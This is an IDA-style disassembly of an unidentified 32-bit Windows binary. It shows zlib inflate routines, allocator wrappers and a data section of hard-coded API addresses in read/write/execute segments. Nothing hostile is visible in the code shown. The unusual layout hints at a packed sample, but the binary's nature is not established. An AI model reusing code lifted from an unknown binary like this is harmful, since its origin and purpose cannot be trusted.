arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_10]
		push	4
		push	13h
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[ebp+arg_10], eax
		test	eax, eax
		jnz	short loc_4206A6
		push	0FFFFFFFCh
		pop	eax
		jmp	short loc_4206FD
; ---------------------------------------------------------------------------


loc_4206A6:				; CODE XREF: sub_420681+1Ej
		push	ebx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	0
		push	0
		push	13h
		push	13h
		push	[ebp+arg_0]
		call	sub_420700
		mov	ebx, eax
		add	esp, 28h
		cmp	ebx, 0FFFFFFFDh
		jnz	short loc_4206D8
		mov	dword ptr [esi+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
		jmp	short loc_4206EF
; ---------------------------------------------------------------------------


loc_4206D8:				; CODE XREF: sub_420681+4Cj
		cmp	ebx, 0FFFFFFFBh
		jz	short loc_4206E5
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_4206EF


loc_4206E5:				; CODE XREF: sub_420681+5Aj
		push	0FFFFFFFDh
		mov	dword ptr [esi+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
		pop	ebx


loc_4206EF:				; CODE XREF: sub_420681+55j
					; sub_420681+62j
		push	[ebp+arg_10]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	eax, ebx
		pop	ecx
		pop	ebx


loc_4206FD:				; CODE XREF: sub_420681+23j
		pop	esi
		leave
		retn
sub_420681	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420700	proc near		; CODE XREF: sub_420681+3Fp
					; sub_420A87+52p ...

var_F0		= dword	ptr -0F0h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0F0h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		mov	[ebp+var_74], edx
		mov	[ebp+var_70], edx
		mov	[ebp+var_6C], edx
		mov	[ebp+var_68], edx
		mov	[ebp+var_64], edx
		mov	[ebp+var_60], edx
		mov	[ebp+var_5C], edx
		mov	[ebp+var_58], edx
		mov	[ebp+var_54], edx
		mov	[ebp+var_50], edx
		mov	[ebp+var_4C], edx
		mov	[ebp+var_48], edx
		mov	[ebp+var_44], edx
		mov	[ebp+var_40], edx
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], edx
		mov	esi, edi


loc_420746:				; CODE XREF: sub_420700+54j
		mov	eax, [ecx]
		add	ecx, 4
		inc	[ebp+eax*4+var_74]
		lea	eax, [ebp+eax*4+var_74]
		dec	esi
		jnz	short loc_420746
		cmp	[ebp+var_74], edi
		jnz	short loc_42076C
		mov	eax, [ebp+arg_14]
		mov	[eax], edx
		mov	eax, [ebp+arg_18]
		mov	[eax], edx


loc_420765:				; CODE XREF: sub_420700+36Fj
					; sub_420700+379j
		xor	eax, eax


loc_420767:				; CODE XREF: sub_420700+382j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42076C:				; CODE XREF: sub_420700+59j
		mov	edi, [ebp+arg_18]
		push	1
		pop	ebx
		lea	eax, [ebp+var_70]
		mov	esi, [edi]
		mov	ecx, ebx
		mov	[ebp+arg_18], esi


loc_42077C:				; CODE XREF: sub_420700+87j
		cmp	[eax], edx
		jnz	short loc_420789
		inc	ecx
		add	eax, 4
		cmp	ecx, 0Fh
		jbe	short loc_42077C


loc_420789:				; CODE XREF: sub_420700+7Ej
		cmp	esi, ecx
		mov	[ebp+var_4], ecx
		jnb	short loc_420793
		mov	[ebp+arg_18], ecx


loc_420793:				; CODE XREF: sub_420700+8Ej
		push	0Fh
		lea	esi, [ebp+var_38]
		pop	eax


loc_420799:				; CODE XREF: sub_420700+A3j
		cmp	[esi], edx
		jnz	short loc_4207A5
		dec	eax
		sub	esi, 4
		cmp	eax, edx
		jnz	short loc_420799


loc_4207A5:				; CODE XREF: sub_420700+9Bj
		cmp	[ebp+arg_18], eax
		mov	[ebp+var_18], eax
		jbe	short loc_4207B0
		mov	[ebp+arg_18], eax


loc_4207B0:				; CODE XREF: sub_420700+ABj
		mov	esi, [ebp+arg_18]
		shl	ebx, cl
		cmp	ecx, eax
		mov	[edi], esi
		jnb	short loc_4207D1
		lea	esi, [ebp+ecx*4+var_74]


loc_4207BF:				; CODE XREF: sub_420700+CFj
		sub	ebx, [esi]
		js	loc_4208F7
		inc	ecx
		add	esi, 4
		shl	ebx, 1
		cmp	ecx, eax
		jb	short loc_4207BF


loc_4207D1:				; CODE XREF: sub_420700+B9j
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+var_74]
		lea	ecx, [ebp+esi+var_74]
		sub	ebx, edi
		mov	[ebp+var_30], ebx
		js	loc_4208F7
		add	edi, ebx
		mov	[ebp+var_B0], edx
		mov	[ecx], edi
		xor	ecx, ecx
		dec	eax
		jz	short loc_42080B
		xor	edi, edi


loc_4207FA:				; CODE XREF: sub_420700+109j
		add	ecx, [ebp+edi+var_70]
		add	edi, 4
		dec	eax
		mov	[ebp+edi+var_B0], ecx
		jnz	short loc_4207FA


loc_42080B:				; CODE XREF: sub_420700+F6j
		mov	ebx, [ebp+arg_0]
		xor	edi, edi


loc_420810:				; CODE XREF: sub_420700+136j
		mov	eax, [ebx]
		add	ebx, 4
		cmp	eax, edx
		jz	short loc_420832
		mov	ecx, [ebp+eax*4+var_B4]
		mov	edx, [ebp+arg_24]
		lea	eax, [ebp+eax*4+var_B4]
		mov	[edx+ecx*4], edi
		inc	ecx
		mov	[eax], ecx
		xor	edx, edx


loc_420832:				; CODE XREF: sub_420700+117j
		inc	edi
		cmp	edi, [ebp+arg_4]
		jb	short loc_420810
		mov	eax, [ebp+esi+var_B4]
		mov	ebx, [ebp+arg_18]
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_24]
		mov	[ebp+var_C], edx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		neg	ebx
		cmp	eax, [ebp+var_18]
		mov	[ebp+var_B4], edx
		mov	[ebp+var_F0], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+arg_0], edx
		jg	loc_420A6C
		mov	edi, [ebp+var_24]
		lea	ecx, [eax-1]
		lea	eax, [ebp+eax*4+var_74]
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_20], eax


loc_420882:				; CODE XREF: sub_420700+366j
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	ecx, eax
		dec	eax
		test	ecx, ecx
		mov	[ebp+var_14], eax
		jz	loc_420A56


loc_420895:				; CODE XREF: sub_420700+350j
		mov	eax, [ebp+arg_18]
		add	eax, ebx
		cmp	[ebp+var_4], eax
		jle	loc_420981


loc_4208A3:				; CODE XREF: sub_420700+279j
		mov	ecx, [ebp+arg_18]
		inc	[ebp+var_8]
		add	eax, ecx
		add	ebx, ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_18]
		sub	eax, ebx
		cmp	eax, ecx
		mov	[ebp+arg_0], eax
		jbe	short loc_4208BF
		mov	[ebp+arg_0], ecx


loc_4208BF:				; CODE XREF: sub_420700+1BAj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_14]
		push	1
		sub	ecx, ebx
		pop	eax
		shl	eax, cl
		inc	edx
		cmp	eax, edx
		jbe	short loc_4208FE
		mov	esi, [ebp+var_20]
		or	edx, 0FFFFFFFFh
		sub	edx, [ebp+var_14]
		add	eax, edx
		cmp	ecx, [ebp+arg_0]
		jnb	short loc_4208FE


loc_4208E1:				; CODE XREF: sub_420700+1F5j
		inc	ecx
		cmp	ecx, [ebp+arg_0]
		jnb	short loc_4208FE
		mov	edx, [esi+4]
		add	esi, 4
		shl	eax, 1
		cmp	eax, edx
		jbe	short loc_4208FE
		sub	eax, edx
		jmp	short loc_4208E1
; ---------------------------------------------------------------------------


loc_4208F7:				; CODE XREF: sub_420700+C1j
					; sub_420700+E3j ...
		push	0FFFFFFFDh
		jmp	loc_420A81
; ---------------------------------------------------------------------------


loc_4208FE:				; CODE XREF: sub_420700+1CFj
					; sub_420700+1DFj ...
		mov	eax, [ebp+arg_20]
		push	1
		pop	edx
		mov	eax, [eax]
		shl	edx, cl
		mov	[ebp+arg_0], edx
		lea	esi, [eax+edx]
		cmp	esi, 5A0h
		ja	short loc_4208F7
		mov	edx, [ebp+arg_1C]
		lea	eax, [edx+eax*8]
		mov	edx, [ebp+var_8]
		mov	[ebp+var_1C], eax
		lea	edx, [ebp+edx*4+var_F0]
		mov	[edx], eax
		mov	eax, [ebp+arg_20]
		mov	[eax], esi
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_42096B
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_1C]
		mov	[ebp+eax*4+var_B4], esi
		mov	eax, [ebp+arg_18]
		mov	byte ptr [ebp+var_28], cl
		mov	ecx, ebx
		mov	byte ptr [ebp+var_28+1], al
		sub	ecx, eax
		mov	eax, esi
		shr	eax, cl
		mov	ecx, [edx-4]
		mov	edx, [ebp+var_28]
		sub	edi, ecx
		sar	edi, 3
		sub	edi, eax
		mov	[ecx+eax*8], edx
		mov	[ecx+eax*8+4], edi
		jmp	short loc_420973
; ---------------------------------------------------------------------------


loc_42096B:				; CODE XREF: sub_420700+235j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx


loc_420973:				; CODE XREF: sub_420700+269j
		mov	eax, [ebp+var_34]
		cmp	[ebp+var_4], eax
		jg	loc_4208A3
		xor	edx, edx


loc_420981:				; CODE XREF: sub_420700+19Dj
		mov	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sub	al, bl
		mov	byte ptr [ebp+var_28+1], al
		mov	eax, [ebp+arg_24]
		lea	ecx, [eax+ecx*4]
		mov	eax, [ebp+var_10]
		cmp	eax, ecx
		jb	short loc_42099F
		mov	byte ptr [ebp+var_28], 0C0h
		jmp	short loc_4209D6
; ---------------------------------------------------------------------------


loc_42099F:				; CODE XREF: sub_420700+297j
		mov	eax, [eax]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_4209BA
		cmp	eax, 100h
		mov	edi, eax
		sbb	cl, cl
		and	cl, 0A0h
		add	cl, 60h
		mov	byte ptr [ebp+var_28], cl
		jmp	short loc_4209D2
; ---------------------------------------------------------------------------


loc_4209BA:				; CODE XREF: sub_420700+2A4j
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		shl	eax, 2
		mov	cl, [eax+ecx]
		add	cl, 50h
		mov	byte ptr [ebp+var_28], cl
		mov	ecx, [ebp+arg_C]
		mov	edi, [eax+ecx]


loc_4209D2:				; CODE XREF: sub_420700+2B8j
		add	[ebp+var_10], 4


loc_4209D6:				; CODE XREF: sub_420700+29Dj
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		push	1
		sub	ecx, ebx
		pop	esi
		shl	esi, cl
		mov	ecx, ebx
		shr	eax, cl
		cmp	eax, [ebp+arg_0]
		jnb	short loc_420A0A
		mov	ecx, [ebp+var_1C]
		lea	ecx, [ecx+eax*8]


loc_4209F2:				; CODE XREF: sub_420700+306j
		mov	edx, [ebp+var_28]
		add	eax, esi
		mov	[ecx], edx
		mov	edx, esi
		shl	edx, 3
		mov	[ecx+4], edi
		add	ecx, edx
		cmp	eax, [ebp+arg_0]
		jb	short loc_4209F2
		xor	edx, edx


loc_420A0A:				; CODE XREF: sub_420700+2EAj
		mov	ecx, [ebp+var_2C]
		push	1
		pop	eax
		shl	eax, cl
		mov	ecx, [ebp+var_C]


loc_420A15:				; CODE XREF: sub_420700+31Dj
		test	eax, ecx
		jz	short loc_420A1F
		xor	ecx, eax
		shr	eax, 1
		jmp	short loc_420A15
; ---------------------------------------------------------------------------


loc_420A1F:				; CODE XREF: sub_420700+317j
		xor	ecx, eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], ecx
		lea	eax, [ebp+eax*4+var_B4]


loc_420A2E:				; CODE XREF: sub_420700+346j
		push	1
		mov	ecx, ebx
		pop	esi
		shl	esi, cl
		dec	esi
		and	esi, [ebp+var_C]
		cmp	esi, [eax]
		jz	short loc_420A48
		dec	[ebp+var_8]
		sub	eax, 4
		sub	ebx, [ebp+arg_18]
		jmp	short loc_420A2E
; ---------------------------------------------------------------------------


loc_420A48:				; CODE XREF: sub_420700+33Bj
		mov	eax, [ebp+var_14]
		dec	[ebp+var_14]
		test	eax, eax
		jnz	loc_420895


loc_420A56:				; CODE XREF: sub_420700+18Fj
		inc	[ebp+var_4]
		add	[ebp+var_20], 4
		mov	eax, [ebp+var_4]
		inc	[ebp+var_2C]
		cmp	eax, [ebp+var_18]
		jle	loc_420882


loc_420A6C:				; CODE XREF: sub_420700+16Cj
		cmp	[ebp+var_30], edx
		jz	loc_420765
		cmp	[ebp+var_18], 1
		jz	loc_420765
		push	0FFFFFFFBh


loc_420A81:				; CODE XREF: sub_420700+1F9j
		pop	eax
		jmp	loc_420767
sub_420700	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420A87	proc near		; CODE XREF: sub_41EF26+56Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_20]
		push	4
		push	120h
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[ebp+arg_20], eax
		test	eax, eax
		jnz	short loc_420AB2
		push	0FFFFFFFCh
		pop	eax
		jmp	loc_420B87
; ---------------------------------------------------------------------------


loc_420AB2:				; CODE XREF: sub_420A87+21j
		push	ebx
		push	edi
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ebx, [ebp+arg_0]
		push	[ebp+arg_1C]
		mov	edi, 101h
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	offset dword_421124
		push	offset dword_4210A8
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420700
		add	esp, 28h
		test	eax, eax
		jnz	short loc_420B59
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 0
		jz	short loc_420B6C
		push	[ebp+arg_20]
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_8]
		push	[ebp+arg_1C]
		lea	eax, [eax+ebx*4]
		push	[ebp+arg_10]
		push	[ebp+arg_18]
		push	offset dword_421218
		push	offset dword_4211A0
		push	0
		push	[ebp+arg_4]
		push	eax
		call	sub_420700
		add	esp, 28h
		test	eax, eax
		jnz	short loc_420B2F
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 0
		jnz	short loc_420B2B
		cmp	ebx, edi
		ja	short loc_420B50


loc_420B2B:				; CODE XREF: sub_420A87+9Ej
		xor	edi, edi
		jmp	short loc_420B78
; ---------------------------------------------------------------------------


loc_420B2F:				; CODE XREF: sub_420A87+96j
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420B3D
		mov	dword ptr [esi+18h], offset aOversubscrib_0 ; "oversubscribed distance tree"
		jmp	short loc_420B76
; ---------------------------------------------------------------------------


loc_420B3D:				; CODE XREF: sub_420A87+ABj
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_420B4B
		mov	dword ptr [esi+18h], offset aIncompleteDist ; "incomplete distance tree"
		jmp	short loc_420B73
; ---------------------------------------------------------------------------


loc_420B4B:				; CODE XREF: sub_420A87+B9j
		cmp	eax, 0FFFFFFFCh
		jz	short loc_420B76


loc_420B50:				; CODE XREF: sub_420A87+A2j
		mov	dword ptr [esi+18h], offset aEmptyDistanceT ; "empty distance tree with	lengths"
		jmp	short loc_420B73
; ---------------------------------------------------------------------------


loc_420B59:				; CODE XREF: sub_420A87+5Cj
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420B67
		mov	dword ptr [esi+18h], offset aOversubscrib_1 ; "oversubscribed literal/length tree"
		jmp	short loc_420B76
; ---------------------------------------------------------------------------


loc_420B67:				; CODE XREF: sub_420A87+D5j
		cmp	eax, 0FFFFFFFCh
		jz	short loc_420B76


loc_420B6C:				; CODE XREF: sub_420A87+64j
		mov	dword ptr [esi+18h], offset aIncompleteLite ; "incomplete literal/length tree"


loc_420B73:				; CODE XREF: sub_420A87+C2j
					; sub_420A87+D0j
		push	0FFFFFFFDh
		pop	eax


loc_420B76:				; CODE XREF: sub_420A87+B4j
					; sub_420A87+C7j ...
		mov	edi, eax


loc_420B78:				; CODE XREF: sub_420A87+A6j
		push	[ebp+arg_20]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	eax, edi
		pop	ecx
		pop	edi
		pop	ebx


loc_420B87:				; CODE XREF: sub_420A87+26j
		pop	esi
		leave
		retn
sub_420A87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B8A	proc near		; CODE XREF: sub_41EF26+D6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, ds:dword_422120
		mov	[eax], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, ds:dword_422124
		mov	[eax], ecx
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], offset	dword_422128
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], offset	dword_423128
		xor	eax, eax
		pop	ebp
		retn
sub_420B8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB9	proc near		; CODE XREF: sub_41EF26+1F0p
					; sub_41EF26+846p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	edx, [ebx+30h]
		push	edi
		mov	edi, [ebx+34h]
		mov	eax, [esi+0Ch]
		cmp	edx, edi
		mov	[ebp+var_8], eax
		mov	[ebp+arg_0], edx
		jbe	short loc_420BDD
		mov	edi, [ebx+2Ch]


loc_420BDD:				; CODE XREF: sub_420BB9+1Fj
		mov	eax, [esi+10h]
		sub	edi, edx
		cmp	edi, eax
		mov	[ebp+var_4], edi
		jbe	short loc_420BEE
		mov	[ebp+var_4], eax
		mov	edi, eax


loc_420BEE:				; CODE XREF: sub_420BB9+2Ej
		test	edi, edi
		jz	short loc_420BFC
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_420BFC
		and	[ebp+arg_8], 0


loc_420BFC:				; CODE XREF: sub_420BB9+37j
					; sub_420BB9+3Dj
		add	[esi+14h], edi
		sub	eax, edi
		mov	[esi+10h], eax
		mov	eax, [ebx+38h]
		test	eax, eax
		jz	short loc_420C1E
		push	edi
		push	edx
		push	dword ptr [ebx+3Ch]
		call	eax
		mov	edx, [ebp+arg_0]
		mov	[ebx+3Ch], eax
		add	esp, 0Ch
		mov	[esi+30h], eax


loc_420C1E:				; CODE XREF: sub_420BB9+50j
		mov	ecx, edi
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		mov	esi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		add	[ebp+var_8], eax
		add	[ebp+arg_0], eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+2Ch]
		cmp	[ebp+arg_0], eax
		jnz	short loc_420CB7
		mov	edx, [ebx+28h]
		cmp	[ebx+34h], eax
		mov	[ebp+arg_0], edx
		jnz	short loc_420C52
		mov	[ebx+34h], edx


loc_420C52:				; CODE XREF: sub_420BB9+94j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebx+34h]
		sub	edi, edx
		mov	eax, [esi+10h]
		mov	[ebp+var_4], edi
		cmp	edi, eax
		jbe	short loc_420C69
		mov	[ebp+var_4], eax
		mov	edi, eax


loc_420C69:				; CODE XREF: sub_420BB9+A9j
		test	edi, edi
		jz	short loc_420C77
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_420C77
		and	[ebp+arg_8], 0


loc_420C77:				; CODE XREF: sub_420BB9+B2j
					; sub_420BB9+B8j
		add	[esi+14h], edi
		sub	eax, edi
		mov	[esi+10h], eax
		mov	eax, [ebx+38h]
		test	eax, eax
		jz	short loc_420C99
		push	edi
		push	edx
		push	dword ptr [ebx+3Ch]
		call	eax
		mov	edx, [ebp+arg_0]
		mov	[ebx+3Ch], eax
		add	esp, 0Ch
		mov	[esi+30h], eax


loc_420C99:				; CODE XREF: sub_420BB9+CBj
		mov	ecx, edi
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		mov	esi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		add	[ebp+var_8], eax
		and	ecx, 3
		add	[ebp+arg_0], eax
		rep movsb


loc_420CB7:				; CODE XREF: sub_420BB9+89j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	[ebx+30h], eax
		mov	eax, [ebp+arg_8]
		pop	ebx
		leave
		retn
sub_420BB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420CCE	proc near		; CODE XREF: sub_414C5A+32Cp

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	eax, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_C]
		and	[ebp+var_18], 0
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_0]
		and	[ebp+var_14], 0
		mov	[ebp+var_2C], eax
		mov	eax, [esi]
		push	edi
		mov	[ebp+var_28], eax
		push	38h
		lea	eax, [ebp+var_38]
		push	offset byte_4220A8
		push	eax
		call	sub_420306
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420D49
		lea	eax, [ebp+var_38]
		push	4
		push	eax
		call	sub_42031E
		mov	edi, eax
		pop	ecx
		cmp	edi, 1
		pop	ecx
		jz	short loc_420D3A
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4201DB
		test	edi, edi
		pop	ecx
		jnz	short loc_420D36
		push	0FFFFFFFBh
		pop	eax
		jmp	short loc_420D49
; ---------------------------------------------------------------------------


loc_420D36:				; CODE XREF: sub_420CCE+61j
		mov	eax, edi
		jmp	short loc_420D49
; ---------------------------------------------------------------------------


loc_420D3A:				; CODE XREF: sub_420CCE+53j
		mov	eax, [ebp+var_24]
		mov	[esi], eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4201DB
		pop	ecx


loc_420D49:				; CODE XREF: sub_420CCE+3Fj
					; sub_420CCE+66j ...
		pop	edi
		pop	esi
		leave
		retn
sub_420CCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D4D	proc near		; DATA XREF: sub_42021C+41o

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_8]
		push	eax
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_420D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D67	proc near		; DATA XREF: sub_42021C+50o

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		call	sub_41BACD
		pop	ecx
		leave
		retn
sub_420D67	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D80	proc near		; CODE XREF: sub_411BAD+5j
					; _3:00411BB7j
		push	ebp
		mov	ebp, esp
		push	offset aApiNopefunc ; ":API:NopeFunc"
		call	sub_41BBE7
		pop	ebp
		retn
sub_420D80	endp ; sp-analysis failed

_3		ends

; Section 5. (virtual address 00021000)
; Virtual size			: 00000CC4 (   3268.)
; Section size in file		: 00000CC4 (   3268.)
; Offset to raw	data for section: 00021000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_4		segment	para public 'CODE' use32
		assume cs:_4
		;org 421000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_421000	dd 77E79908h		; DATA XREF: sub_411310+3ADr
					; sub_411DF0+46r ...
dword_421004	dd 77E7A5FDh		; DATA XREF: sub_411310+1D9r
					; sub_411310+1EDr ...
dword_421008	dd 77E79A45h		; DATA XREF: sub_411310+1A5r
					; sub_411310+398r ...
dword_42100C	dd 77E6D706h		; DATA XREF: sub_411310+12Br
					; sub_411310+173r ...
dword_421010	dd 77E79881h		; DATA XREF: sub_411310+1Ar
					; sub_411310+108r ...
dword_421014	dd 77E79F93h		; DATA XREF: sub_411310+Ar
					; sub_411310+1B0r ...
dword_421018	dd 77F7E300h		; DATA XREF: sub_410060+4r
					; sub_41314B+15r ...
dword_42101C	dd 77F7E21Fh		; DATA XREF: sub_410000+2Cr
					; sub_413056+65r ...
dword_421020	dd 77E6E154h		; DATA XREF: sub_41A8B3+114r
dword_421024	dd 77E61A90h		; DATA XREF: sub_41AB84+3Ar
					; sub_41AB84+7Cr ...
dword_421028	dd 77E62050h		; DATA XREF: _3:0041E109r
dword_42102C	dd 77E641EBh		; DATA XREF: sub_410D4F+59r
					; sub_410D4F+8Dr
dword_421030	dd 77E781F9h		; DATA XREF: sub_410A10+42r
					; sub_410A10+14Dr ...
dword_421034	dd 77F6183Eh		; DATA XREF: sub_410F00r
dword_421038	dd 77E79924h		; DATA XREF: sub_410A10+20Dr
dword_42103C	dd 77E77CCEh		; DATA XREF: sub_410A10+DFr
					; sub_410A10+137r ...
dword_421040	dd 77E77405h		; DATA XREF: sub_410A10+5Er
					; sub_410A10+A7r
dword_421044	dd 77E7C866h		; DATA XREF: sub_410D4F+3Fr
					; sub_410D4F+12Dr
		dd 0
dword_42104C	dd 77D46F5Bh		; DATA XREF: sub_41015E+ADr
		dd 2 dup(0)
dword_421058	dd 10h			; DATA XREF: sub_41EF26+36Fr
					; sub_41EF26+3A0r
		dd 11h,	12h, 0
		dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
		dd 0Fh,	0FFFF0000h
dword_4210A8	dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
					; DATA XREF: sub_420A87+48o
		dd 1Bh,	1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h,	73h, 83h
		dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_421124	dd 8 dup(0)		; DATA XREF: sub_420A87+43o
		dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
		dd 2 dup(70h)
dword_4211A0	dd 1, 2, 3, 4, 5, 7, 9,	0Dh, 11h, 19h, 21h, 31h, 41h, 61h
					; DATA XREF: sub_420A87+81o
